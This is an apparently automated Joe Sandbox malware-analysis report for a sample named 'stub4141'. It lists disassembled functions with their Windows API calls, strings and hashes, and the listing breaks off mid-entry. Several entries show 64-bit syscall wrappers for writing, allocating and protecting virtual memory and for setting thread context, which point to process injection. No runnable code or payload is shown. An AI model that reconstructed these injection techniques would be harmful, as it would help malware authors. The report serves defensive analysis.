Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$ExitProcess$EventFreeLocalObjectSingleWait
String ID:
API String ID: 3388663691-0
Opcode ID: f16d8b89931036713585558787e440eca18306e2f52b16f942bf98b09626f6af
Instruction ID: 972f2f17b7eedbd199e10c27a4396731008030d4719db23247ff14397d3b816d
Opcode Fuzzy Hash: f16d8b89931036713585558787e440eca18306e2f52b16f942bf98b09626f6af
Instruction Fuzzy Hash: E4F0B771100200AFC650ABA6ED4C6AE32A5EB08356F240D3EF201922B1CF789489CB9D

Function 0041AF46 Relevance: 7.5, APIs: 5, Instructions: 28synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 0041B1DA
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0041B1E9
CloseHandle.KERNEL32(00000000), ref: 0041B1F6
CloseHandle.KERNEL32(00000000), ref: 0041B20B
ExitProcess.KERNEL32 ref: 0041B22B
CloseHandle.KERNEL32(000002A4), ref: 0041B246
CloseHandle.KERNEL32(00000000), ref: 0041B256
CloseHandle.KERNEL32(00000000), ref: 0041B27C
LocalFree.KERNEL32(00000000), ref: 0041B28C
ExitProcess.KERNEL32 ref: 0041B29D

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$ExitProcess$EventFreeLocalObjectSingleWait
String ID:
API String ID: 3388663691-0
Opcode ID: 222c88489f8debb07977f65da1cd95c63cba5caeea4dd997321186a7032a6392
Instruction ID: 972f2f17b7eedbd199e10c27a4396731008030d4719db23247ff14397d3b816d
Opcode Fuzzy Hash: 222c88489f8debb07977f65da1cd95c63cba5caeea4dd997321186a7032a6392
Instruction Fuzzy Hash: E4F0B771100200AFC650ABA6ED4C6AE32A5EB08356F240D3EF201922B1CF789489CB9D

Function 0041AF59 Relevance: 7.5, APIs: 5, Instructions: 28synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 0041B1DA
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0041B1E9
CloseHandle.KERNEL32(00000000), ref: 0041B1F6
CloseHandle.KERNEL32(00000000), ref: 0041B20B
ExitProcess.KERNEL32 ref: 0041B22B
CloseHandle.KERNEL32(000002A4), ref: 0041B246
CloseHandle.KERNEL32(00000000), ref: 0041B256
CloseHandle.KERNEL32(00000000), ref: 0041B27C
LocalFree.KERNEL32(00000000), ref: 0041B28C
ExitProcess.KERNEL32 ref: 0041B29D

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$ExitProcess$EventFreeLocalObjectSingleWait
String ID:
API String ID: 3388663691-0
Opcode ID: b2d32353a5357b83f273233346677460e1ca49bf19bbff924e81d3ef2d8c1e20
Instruction ID: 972f2f17b7eedbd199e10c27a4396731008030d4719db23247ff14397d3b816d
Opcode Fuzzy Hash: b2d32353a5357b83f273233346677460e1ca49bf19bbff924e81d3ef2d8c1e20
Instruction Fuzzy Hash: E4F0B771100200AFC650ABA6ED4C6AE32A5EB08356F240D3EF201922B1CF789489CB9D

Function 0041AF6C Relevance: 7.5, APIs: 5, Instructions: 28synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 0041B1DA
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0041B1E9
CloseHandle.KERNEL32(00000000), ref: 0041B1F6
CloseHandle.KERNEL32(00000000), ref: 0041B20B
ExitProcess.KERNEL32 ref: 0041B22B
CloseHandle.KERNEL32(000002A4), ref: 0041B246
CloseHandle.KERNEL32(00000000), ref: 0041B256
CloseHandle.KERNEL32(00000000), ref: 0041B27C
LocalFree.KERNEL32(00000000), ref: 0041B28C
ExitProcess.KERNEL32 ref: 0041B29D

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$ExitProcess$EventFreeLocalObjectSingleWait
String ID:
API String ID: 3388663691-0
Opcode ID: d5c0a29886640d17e52e34fb59678d72a3982ab0e5a7d709ca84a10278f0217e
Instruction ID: 972f2f17b7eedbd199e10c27a4396731008030d4719db23247ff14397d3b816d
Opcode Fuzzy Hash: d5c0a29886640d17e52e34fb59678d72a3982ab0e5a7d709ca84a10278f0217e
Instruction Fuzzy Hash: E4F0B771100200AFC650ABA6ED4C6AE32A5EB08356F240D3EF201922B1CF789489CB9D

Function 0041AF7F Relevance: 7.5, APIs: 5, Instructions: 28synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 0041B1DA
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0041B1E9
CloseHandle.KERNEL32(00000000), ref: 0041B1F6
CloseHandle.KERNEL32(00000000), ref: 0041B20B
ExitProcess.KERNEL32 ref: 0041B22B
CloseHandle.KERNEL32(000002A4), ref: 0041B246
CloseHandle.KERNEL32(00000000), ref: 0041B256
CloseHandle.KERNEL32(00000000), ref: 0041B27C
LocalFree.KERNEL32(00000000), ref: 0041B28C
ExitProcess.KERNEL32 ref: 0041B29D

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$ExitProcess$EventFreeLocalObjectSingleWait
String ID:
API String ID: 3388663691-0
Opcode ID: 040c449a8575e2ae2a4d3d845d14b93dc6a0f8c5945cfe08efb5d441687eedaa
Instruction ID: 972f2f17b7eedbd199e10c27a4396731008030d4719db23247ff14397d3b816d
Opcode Fuzzy Hash: 040c449a8575e2ae2a4d3d845d14b93dc6a0f8c5945cfe08efb5d441687eedaa
Instruction Fuzzy Hash: E4F0B771100200AFC650ABA6ED4C6AE32A5EB08356F240D3EF201922B1CF789489CB9D

Function 0041AF20 Relevance: 7.5, APIs: 5, Instructions: 28synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 0041B1DA
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0041B1E9
CloseHandle.KERNEL32(00000000), ref: 0041B1F6
CloseHandle.KERNEL32(00000000), ref: 0041B20B
ExitProcess.KERNEL32 ref: 0041B22B
CloseHandle.KERNEL32(000002A4), ref: 0041B246
CloseHandle.KERNEL32(00000000), ref: 0041B256
CloseHandle.KERNEL32(00000000), ref: 0041B27C
LocalFree.KERNEL32(00000000), ref: 0041B28C
ExitProcess.KERNEL32 ref: 0041B29D

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$ExitProcess$EventFreeLocalObjectSingleWait
String ID:
API String ID: 3388663691-0
Opcode ID: dfd72bdc291049d3747e4c16539ea7e6ab47761710bfcbc165b7d0b794534209
Instruction ID: 972f2f17b7eedbd199e10c27a4396731008030d4719db23247ff14397d3b816d
Opcode Fuzzy Hash: dfd72bdc291049d3747e4c16539ea7e6ab47761710bfcbc165b7d0b794534209
Instruction Fuzzy Hash: E4F0B771100200AFC650ABA6ED4C6AE32A5EB08356F240D3EF201922B1CF789489CB9D

Function 0041AF33 Relevance: 7.5, APIs: 5, Instructions: 28synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 0041B1DA
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0041B1E9
CloseHandle.KERNEL32(00000000), ref: 0041B1F6
CloseHandle.KERNEL32(00000000), ref: 0041B20B
ExitProcess.KERNEL32 ref: 0041B22B
CloseHandle.KERNEL32(000002A4), ref: 0041B246
CloseHandle.KERNEL32(00000000), ref: 0041B256
CloseHandle.KERNEL32(00000000), ref: 0041B27C
LocalFree.KERNEL32(00000000), ref: 0041B28C
ExitProcess.KERNEL32 ref: 0041B29D

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$ExitProcess$EventFreeLocalObjectSingleWait
String ID:
API String ID: 3388663691-0
Opcode ID: 96618ac8fd0fa5f2f6df27e995d5762650f3242c1371ced9ee022ea48b44ce4d
Instruction ID: 972f2f17b7eedbd199e10c27a4396731008030d4719db23247ff14397d3b816d
Opcode Fuzzy Hash: 96618ac8fd0fa5f2f6df27e995d5762650f3242c1371ced9ee022ea48b44ce4d
Instruction Fuzzy Hash: E4F0B771100200AFC650ABA6ED4C6AE32A5EB08356F240D3EF201922B1CF789489CB9D

Function 0041AF92 Relevance: 7.5, APIs: 5, Instructions: 28synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000), ref: 0041B1DA
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0041B1E9
CloseHandle.KERNEL32(00000000), ref: 0041B1F6
CloseHandle.KERNEL32(00000000), ref: 0041B20B
ExitProcess.KERNEL32 ref: 0041B22B
CloseHandle.KERNEL32(000002A4), ref: 0041B246
CloseHandle.KERNEL32(00000000), ref: 0041B256
CloseHandle.KERNEL32(00000000), ref: 0041B27C
LocalFree.KERNEL32(00000000), ref: 0041B28C
ExitProcess.KERNEL32 ref: 0041B29D

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$ExitProcess$EventFreeLocalObjectSingleWait
String ID:
API String ID: 3388663691-0
Opcode ID: 3152512ca849ca0e2c45b89f882fadc5d56c4d421cc433b84ab56df15bd5dbd4
Instruction ID: 972f2f17b7eedbd199e10c27a4396731008030d4719db23247ff14397d3b816d
Opcode Fuzzy Hash: 3152512ca849ca0e2c45b89f882fadc5d56c4d421cc433b84ab56df15bd5dbd4
Instruction Fuzzy Hash: E4F0B771100200AFC650ABA6ED4C6AE32A5EB08356F240D3EF201922B1CF789489CB9D

Function 0041BD20 Relevance: 7.5, APIs: 5, Instructions: 26COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0041BD28
CoCreateGuid.COMBASE(?), ref: 0041BD32
StringFromGUID2.COMBASE(?,?,00000027), ref: 0041BD46
CoUninitialize.COMBASE ref: 0041BD50
CoUninitialize.COMBASE ref: 0041BD5D

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Uninitialize$CreateFromGuidInitializeString
String ID:
API String ID: 46189592-0
Opcode ID: 262c13c193695c7ac3e7fab9ac6df4e3b7b640f011ee6339ba471251bfce4a8e
Instruction ID: f3bfa40a280550fcb63eac5e297a05a991c25f0b7b45c0dea945b5eafb240a33
Opcode Fuzzy Hash: 262c13c193695c7ac3e7fab9ac6df4e3b7b640f011ee6339ba471251bfce4a8e
Instruction Fuzzy Hash: 8BE06D306442099BE700AFB4ACCDFAE3778FB05B05F40492DB915C5266E73494818BB9

Function 00420500 Relevance: 7.5, APIs: 5, Instructions: 25synchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000), ref: 004208D4
ReleaseMutex.KERNEL32(00000000), ref: 004208EE
CloseHandle.KERNEL32(00000000), ref: 004208F8
CloseHandle.KERNEL32(00000000), ref: 00420908
CloseHandle.KERNEL32(00000000), ref: 00420912

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$MutexRelease
String ID:
API String ID: 2279609368-0
Opcode ID: 5d0875fbcdc6521f4b298990596650482251ce70a47aff7ec6a935646c4eea05
Instruction ID: 8a09e1c81a801d41cefb64cda8eb406173ff6ef51ff16e4e6bb41dbd9a0b0b0c
Opcode Fuzzy Hash: 5d0875fbcdc6521f4b298990596650482251ce70a47aff7ec6a935646c4eea05
Instruction Fuzzy Hash: 0FF01C75A04208EBC71CDFA0EA8CBAE77B5AB48301F509569E60292260C77C898DCF58

Function 00403740 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 222COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00403801

Strings

LdrGetProcedureAddress, xrefs: 004039B9

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: _malloc
String ID: LdrGetProcedureAddress
API String ID: 1579825452-3058439150
Opcode ID: d9d49f97934c045d889012b71b6e5983baac22bc70deaac0340df344820a5c9b
Instruction ID: 912ece201b53b19fe3f588179647bc12b2a7c658c0d2fc73c126c031def76f66
Opcode Fuzzy Hash: d9d49f97934c045d889012b71b6e5983baac22bc70deaac0340df344820a5c9b
Instruction Fuzzy Hash: 5EA115B0E00218DBDB24DF98DD81BEEB7B5AB98304F1482ADE00577281DB796E45CF95

Function 00404020 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

GetProcAddress64.STUB4141_2024-10-16_10-48(00000000,?,NtWriteVirtualMemory), ref: 00404044
X64Call.STUB4141_2024-10-16_10-48(00000000,00000000,00000005,?,?,?,?,00000000,00000000,?,00000000,?,00000000), ref: 004040C4
SetLastErrorFromX64Call.STUB4141_2024-10-16_10-48(00000000,?), ref: 004040E6

Strings

NtWriteVirtualMemory, xrefs: 00404038

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtWriteVirtualMemory
API String ID: 3570319994-3834091833
Opcode ID: a2f7f2e17121f4bf12a994932175d78fc431d5f89e46fccdb932ab4e777aa843
Instruction ID: b864dbb83a742f43fd9ba975256777a43288397ee8d0697f9acd15645690d5d5
Opcode Fuzzy Hash: a2f7f2e17121f4bf12a994932175d78fc431d5f89e46fccdb932ab4e777aa843
Instruction Fuzzy Hash: 51314BF0900109EFDB14CF54D815BAF77B8FB98305F10857EEA15A6394D778AA40CBA9

Function 00403F30 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

GetProcAddress64.STUB4141_2024-10-16_10-48(00000000,?,NtReadVirtualMemory), ref: 00403F54
X64Call.STUB4141_2024-10-16_10-48(00000000,00000000,00000005,?,?,?,?,00000000,00000000,?,00000000,?,00000000), ref: 00403FD4
SetLastErrorFromX64Call.STUB4141_2024-10-16_10-48(00000000,?), ref: 00403FF6

Strings

NtReadVirtualMemory, xrefs: 00403F48

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtReadVirtualMemory
API String ID: 3570319994-2166501906
Opcode ID: 4d20d2f7b94584f3bd4a57f155f258ee486a9ff1b18ab8554f8e18dd8988d77f
Instruction ID: 555b095ab64a466d94db57e8c9af0e20d77377b6111ae058a06114bed3e8d3f6
Opcode Fuzzy Hash: 4d20d2f7b94584f3bd4a57f155f258ee486a9ff1b18ab8554f8e18dd8988d77f
Instruction Fuzzy Hash: E7312FB0A0010AEFDB14CF55DC45BAF77B8EB88305F10847EE905A7294D778AE44CBA9

Function 00403CB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

GetProcAddress64.STUB4141_2024-10-16_10-48(00000000,?,NtAllocateVirtualMemory), ref: 00403CD4
X64Call.STUB4141_2024-10-16_10-48(00000000,00000000,00000006,?,00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,00000000), ref: 00403D4E
SetLastErrorFromX64Call.STUB4141_2024-10-16_10-48(00000000,?), ref: 00403D70

Strings

NtAllocateVirtualMemory, xrefs: 00403CC8

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtAllocateVirtualMemory
API String ID: 3570319994-3765841899
Opcode ID: 3d1667ff4ccdb3214aea5f3defd782f9a68693370d1843cc6c3fc15421d7ff27
Instruction ID: 985bae45bc2b26f03f68857d3201bae863abf4f1720a1ff90859bc3755011bf8
Opcode Fuzzy Hash: 3d1667ff4ccdb3214aea5f3defd782f9a68693370d1843cc6c3fc15421d7ff27
Instruction Fuzzy Hash: C7212EB0E01209AFDB14DF64DC45B7F7BB9EF88315F40853EB804A6294E7746A80CB99

Function 00403E60 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

GetProcAddress64.STUB4141_2024-10-16_10-48(00000000,?,NtProtectVirtualMemory), ref: 00403E84
X64Call.STUB4141_2024-10-16_10-48(00000000,00000000,00000005,?,00000000,?,00000000,?,00000000,?,00000000,?,00000000), ref: 00403EF5
SetLastErrorFromX64Call.STUB4141_2024-10-16_10-48(00000000,?), ref: 00403F17

Strings

NtProtectVirtualMemory, xrefs: 00403E78

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtProtectVirtualMemory
API String ID: 3570319994-1546459799
Opcode ID: 8ea5873900cd06b6a600b1f98cf5ebff0bfc08f3625bd8b587d00f0418ed8709
Instruction ID: 012196e2f8fbbbea9937dceede2aec88a2b06633055453e32202eacf61423dcf
Opcode Fuzzy Hash: 8ea5873900cd06b6a600b1f98cf5ebff0bfc08f3625bd8b587d00f0418ed8709
Instruction Fuzzy Hash: BA2131B0D04109AFDB04DF54DC51B7F7BB8FB88315F00897EF405A6694D7786A408B99

Function 00403D90 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetProcAddress64.STUB4141_2024-10-16_10-48(00000000,?,NtFreeVirtualMemory), ref: 00403DB4
X64Call.STUB4141_2024-10-16_10-48(00000000,00000000,00000004,?,?,?,00000000,?,00000000,?,00000000), ref: 00403E1F
SetLastErrorFromX64Call.STUB4141_2024-10-16_10-48(00000000,?), ref: 00403E41

Strings

NtFreeVirtualMemory, xrefs: 00403DA8

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtFreeVirtualMemory
API String ID: 3570319994-3923168862
Opcode ID: 5a6a50dab3b1f8eec1edc2ddc06dbdd3de1afa1757aec7ca070c5b07eb963a64
Instruction ID: ed620522f72d9874b6c5d659c63a57c971931ecc97d86454d17cee6dd73feeb3
Opcode Fuzzy Hash: 5a6a50dab3b1f8eec1edc2ddc06dbdd3de1afa1757aec7ca070c5b07eb963a64
Instruction Fuzzy Hash: 2F2130B0E00208AFDB04DF65DC41B7F7BB9EB48305F00993EE404A6685E3746A84CF99

Function 00403BE0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

GetProcAddress64.STUB4141_2024-10-16_10-48(00000000,?,NtQueryVirtualMemory), ref: 00403C04
X64Call.STUB4141_2024-10-16_10-48(00000000,00000000,00000006,00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00403C71
SetLastErrorFromX64Call.STUB4141_2024-10-16_10-48(00000000,?), ref: 00403C93

Strings

NtQueryVirtualMemory, xrefs: 00403BF8

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtQueryVirtualMemory
API String ID: 3570319994-66515852
Opcode ID: 00f21d1f0d91d095ed6e40b6bf9df2b603a0b3bc098d43f67b4ce00efde82412
Instruction ID: 7afcec791c3bb86e09f33019c54e3b60fd97b310b1ca516ddbbb1488ff28524c
Opcode Fuzzy Hash: 00f21d1f0d91d095ed6e40b6bf9df2b603a0b3bc098d43f67b4ce00efde82412
Instruction Fuzzy Hash: DE2130B1910108AFEB10DF55DC4AB7F7BBCEB58715F00883EF415A6285E3786A448B99

Function 00404110 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

GetProcAddress64.STUB4141_2024-10-16_10-48(00000000,?,NtGetContextThread), ref: 00404134
X64Call.STUB4141_2024-10-16_10-48(00000000,00000000,00000002,?,?,?,00000000), ref: 00404179
SetLastErrorFromX64Call.STUB4141_2024-10-16_10-48(00000000,?), ref: 0040419B

Strings

NtGetContextThread, xrefs: 00404128

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtGetContextThread
API String ID: 3570319994-3545450881
Opcode ID: 8677b08cd5984baefee8c30e438430d2979d6953252423559c6a7f82b5dee163
Instruction ID: 89b25aa9ee100f69c18076c053278ff13717daccfabff99acb92f8b3a3ce6a01
Opcode Fuzzy Hash: 8677b08cd5984baefee8c30e438430d2979d6953252423559c6a7f82b5dee163
Instruction Fuzzy Hash: A71130B0900204EFDB14EF54EC59B6E36B8EBA4309F10853EE514AA6D5D37C6EC48B99

Function 004041C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

GetProcAddress64.STUB4141_2024-10-16_10-48(00000000,?,NtSetContextThread), ref: 004041E4
X64Call.STUB4141_2024-10-16_10-48(00000000,00000000,00000002,?,?,?,00000000), ref: 00404229
SetLastErrorFromX64Call.STUB4141_2024-10-16_10-48(00000000,?), ref: 0040424B

Strings

NtSetContextThread, xrefs: 004041D8

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtSetContextThread
API String ID: 3570319994-3779410840
Opcode ID: f8deb69ad081c9e610e638dd405b42434395860392b909c1a64d60bcffef1ac2
Instruction ID: a86f778b9f3095e3dc4c15c4ed389d416d68e763d998f9799d27d52946064c2c
Opcode Fuzzy Hash: f8deb69ad081c9e610e638dd405b42434395860392b909c1a64d60bcffef1ac2
Instruction Fuzzy Hash: BE1182F0A00108EFDB10DF94EC05B6A76B8E784359F14457EF514A6695D37C6A808B9D

Function 004042D0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004042F0
GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00404304
GetVolumeInformationW.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040433B

Part of subcall function 0041B2B0: CryptAcquireContextW.ADVAPI32(00000000,00000000,Microsoft Enhanced RSA and AES Cryptographic Provider,00000018,F0000000,?,?,?,0040435A,00000000), ref: 0041B2DD
Part of subcall function 0041B2B0: CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000,?,?,?,0040435A,00000000), ref: 0041B2FD
Part of subcall function 0041B2B0: WaitForSingleObject.KERNEL32(00000000,00000000), ref: 0041B354
Part of subcall function 0041B2B0: CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,0040435A,00000000), ref: 0041B41A
Part of subcall function 0041B2B0: CryptDestroyHash.ADVAPI32(00000000,?,?,?,0040435A,00000000), ref: 0041B42A

Strings

_-@, xrefs: 00404346, 00404349

Memory Dump Source

